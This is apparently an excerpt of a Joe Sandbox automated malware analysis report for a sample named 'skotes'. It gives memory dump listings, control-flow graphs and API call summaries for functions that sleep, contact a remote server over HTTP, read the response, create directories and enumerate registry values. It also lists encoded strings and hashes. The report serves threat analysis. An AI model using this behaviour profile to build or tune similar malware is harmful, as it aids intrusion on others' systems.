                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AccountLookupName
                                                                                                                                                                                                                                                                                    • String ID: GSTmfV==$ISNmfV==$RySfdMLx
                                                                                                                                                                                                                                                                                    • API String ID: 1484870144-2309319047
                                                                                                                                                                                                                                                                                    • Opcode ID: e0b07fd20b16984d8d211085933324c808f5593280284a1feb4afdd15d4ceae3
                                                                                                                                                                                                                                                                                    • Instruction ID: 227c1269e3d139fa3ec01ec546e0c3c7af09543becac1e0f6a1ce1cfe515d533
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: e0b07fd20b16984d8d211085933324c808f5593280284a1feb4afdd15d4ceae3
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: EF91B3B1A001189BDB28DF64CC95BEDB779EB45304F8045EDE52997282DB309BC8CFA5
                                                                                                                                                                                                                                                                                    Function 0015EB4E Relevance: 30.1, APIs: 3, Strings: 13, Instructions: 2131COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetFileAttributesA.KERNEL32(00000000), ref: 0015EB51
                                                                                                                                                                                                                                                                                    • CreateDirectoryA.KERNEL32(00000000), ref: 0015EC83
                                                                                                                                                                                                                                                                                    • GetFileAttributesA.KERNEL32(00000000), ref: 0015ED98
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AttributesFile$CreateDirectory
                                                                                                                                                                                                                                                                                    • String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
                                                                                                                                                                                                                                                                                    • API String ID: 1875963930-2267310118
                                                                                                                                                                                                                                                                                    • Opcode ID: b093719a599f6797430e8ba2d00729473b77385b61074682fab52d5968ba5478
                                                                                                                                                                                                                                                                                    • Instruction ID: 52814cf94d9a07eab4ee5c10198f02e05e5cab2e5b736c2961e05766f5b301ef
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: b093719a599f6797430e8ba2d00729473b77385b61074682fab52d5968ba5478
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: BEF26971A00148CBEB19DB38CD9979DBB72AF85304F14829CE819AB3D6DB358BD4CB51
                                                                                                                                                                                                                                                                                    Function 0015BE30 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 313networkfilesleepCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 1230 15be30-15be7c 1231 15c281-15c2a6 call 1680c0 1230->1231 1232 15be82-15be86 1230->1232 1238 15c2d4-15c2ec 1231->1238 1239 15c2a8-15c2b4 1231->1239 1232->1231 1233 15be8c-15be90 1232->1233 1233->1231 1235 15be96-15bf2a Sleep InternetOpenW InternetConnectA call 167a00 call 155c10 1233->1235 1263 15bf2c 1235->1263 1264 15bf2e-15bf4a HttpOpenRequestA 1235->1264 1243 15c2f2-15c2fe 1238->1243 1244 15c238-15c250 1238->1244 1241 15c2b6-15c2c4 1239->1241 1242 15c2ca-15c2d1 call 16d663 1239->1242 1241->1242 1248 15c34f-15c354 call 186c6a 1241->1248 1242->1238 1250 15c304-15c312 1243->1250 1251 15c22e-15c235 call 16d663 1243->1251 1245 15c256-15c262 1244->1245 1246 15c323-15c33f call 16cff1 1244->1246 1252 15c319-15c320 call 16d663 1245->1252 1253 15c268-15c276 1245->1253 1250->1248 1259 15c314 1250->1259 1251->1244 1252->1246 1253->1248 1261 15c27c 1253->1261 1259->1251 1261->1252 1263->1264 1268 15bf4c-15bf5b 1264->1268 1269 15bf7b-15bfea call 167a00 call 155c10 call 167a00 call 155c10 1264->1269 1270 15bf71-15bf78 call 16d663 1268->1270 1271 15bf5d-15bf6b 1268->1271 1282 15bfec 1269->1282 1283 15bfee-15c004 HttpSendRequestA 1269->1283 1270->1269 1271->1270 1282->1283 1284 15c035-15c05d 1283->1284 1285 15c006-15c015 1283->1285 1288 15c05f-15c06e 1284->1288 1289 15c08e-15c0b5 InternetReadFile 1284->1289 1286 15c017-15c025 1285->1286 1287 15c02b-15c032 call 16d663 1285->1287 1286->1287 1287->1284 1292 15c084-15c08b call 16d663 1288->1292 1293 15c070-15c07e 1288->1293 1295 15c0c0-15c168 call 184250 InternetReadFile 1289->1295 1292->1289 1293->1292 1304 15c16a-15c170 1295->1304 1304->1295
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Sleep.KERNEL32(000005DC,3251C7AA,?,00000000), ref: 0015BEB8
                                                                                                                                                                                                                                                                                    • InternetOpenW.WININET(001A8DC8,00000000,00000000,00000000,00000000), ref: 0015BEC7
                                                                                                                                                                                                                                                                                    • InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0015BEEC
                                                                                                                                                                                                                                                                                    • HttpOpenRequestA.WININET(?,00000000), ref: 0015BF36
                                                                                                                                                                                                                                                                                    • HttpSendRequestA.WININET(?,00000000), ref: 0015BFF6
                                                                                                                                                                                                                                                                                    • InternetReadFile.WININET(?,?,000003FF,?), ref: 0015C0A8
                                                                                                                                                                                                                                                                                    • InternetReadFile.WININET(?,00000000,000003FF,?,?,00000000,?,?), ref: 0015C161
                                                                                                                                                                                                                                                                                    • InternetCloseHandle.WININET(?), ref: 0015C187
                                                                                                                                                                                                                                                                                    • InternetCloseHandle.WININET(?), ref: 0015C18F
                                                                                                                                                                                                                                                                                    • InternetCloseHandle.WININET(?), ref: 0015C197
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSendSleep
                                                                                                                                                                                                                                                                                    • String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
                                                                                                                                                                                                                                                                                    • API String ID: 1439999335-885246636
                                                                                                                                                                                                                                                                                    • Opcode ID: 1907e61f3b6320b58c653b68ec986006f7148e78af1693de0e703ec6eeefca0e
                                                                                                                                                                                                                                                                                    • Instruction ID: dea3a4e65a3c792c9fd71b795f48b214b568260fa183fe2120281ff44f93c855
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 1907e61f3b6320b58c653b68ec986006f7148e78af1693de0e703ec6eeefca0e
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 83B1E5B1A00218DFDB28DF28CC88BAEBB75EF45305F504199F9199B2D1D7709AC8CB95
                                                                                                                                                                                                                                                                                    Function 00156020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275registryCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 1675 156020-15619d call 16e150 call 1680c0 * 5 RegOpenKeyExA 1688 1564b1-1564ba 1675->1688 1689 1561a3-156233 call 1840f0 1675->1689 1690 1564e7-1564f0 1688->1690 1691 1564bc-1564c7 1688->1691 1712 15649f-1564ab 1689->1712 1713 156239-15623d 1689->1713 1695 1564f2-1564fd 1690->1695 1696 15651d-156526 1690->1696 1693 1564dd-1564e4 call 16d663 1691->1693 1694 1564c9-1564d7 1691->1694 1693->1690 1694->1693 1700 1565d7-1565df call 186c6a 1694->1700 1702 156513-15651a call 16d663 1695->1702 1703 1564ff-15650d 1695->1703 1698 156553-15655c 1696->1698 1699 156528-156533 1696->1699 1708 156585-15658e 1698->1708 1709 15655e-156569 1698->1709 1705 156535-156543 1699->1705 1706 156549-156550 call 16d663 1699->1706 1702->1696 1703->1700 1703->1702 1705->1700 1705->1706 1706->1698 1718 156590-15659f 1708->1718 1719 1565bb-1565d6 call 16cff1 1708->1719 1716 15657b-156582 call 16d663 1709->1716 1717 15656b-156579 1709->1717 1712->1688 1721 156243-156279 RegEnumValueA 1713->1721 1722 156499 1713->1722 1716->1708 1717->1700 1717->1716 1726 1565b1-1565b8 call 16d663 1718->1726 1727 1565a1-1565af 1718->1727 1730 156486-15648d 1721->1730 1731 15627f-15629e 1721->1731 1722->1712 1726->1719 1727->1700 1727->1726 1730->1721 1736 156493 1730->1736 1735 1562a0-1562a5 1731->1735 1735->1735 1737 1562a7-1562fb call 1680c0 call 167a00 * 2 call 155d50 1735->1737 1736->1722 1737->1730
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 0015617D
                                                                                                                                                                                                                                                                                    • RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 00156271
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
